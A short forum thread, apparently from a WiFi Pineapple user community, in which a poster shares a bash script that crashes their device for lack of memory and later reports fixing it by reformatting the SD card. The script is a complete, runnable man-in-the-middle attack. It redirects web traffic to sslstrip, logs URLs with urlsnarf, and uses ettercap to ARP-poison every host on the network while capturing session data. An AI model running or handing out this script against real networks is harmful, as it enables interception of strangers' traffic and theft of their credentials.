Jump to content

Pineapple running out of mem


pats
 Share

Recommended Posts

Hi,

My WP5 is running out of mem, and then crashes/reboots. When running this script:

#!/bin/bash
while getopts d:i: option
do
        case "${option}"
        in
                d) DIR=${OPTARG};;
                i) INTF=${OPTARG};;
        esac
done

mkdir /mnt/sda1/anything/$DIR/
#iptables --flush
#iptables --table nat --flush
#iptables --delete-chain
#iptables --table nat --delete-chain
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sslstrip -p -k -w /mnt/sda1/anything/$DIR/sslstrip.log &
sleep 10
urlsnarf -i $INTF | grep http > /mnt/sda1/anything/$DIR/urlsnarf.txt &
sleep 5
ettercap -T -q -i $INTF -w /mnt/sda1/anything/$DIR/SESSION.pcap -L /mnt/sda1/anything/$DIR/SESSION -M arp // //
killall sslstrip
killall python
killall urlsnarf
iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
#iptables --flush
#iptables --table nat --flush
#iptables --delete-chain
#iptables --table nat --delete-chain

When starting the mem usage is:

             total         used         free       shared      buffersMem:         61804        40496        21308            0         7052-/+ buffers:              33444        28360Swap:      1000164            0      1000164

Any ideas? Or i just asking to much of my lovely device. ( I will buy him a beer to make it up for al those reboots. )

Edited by pats
Link to comment
Share on other sites

Solved.

Issue was at the SDcard. I formatted it using the web interface. Swap is used again and now the WP5 does not crash anymore when running the script.

Edited by pats
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...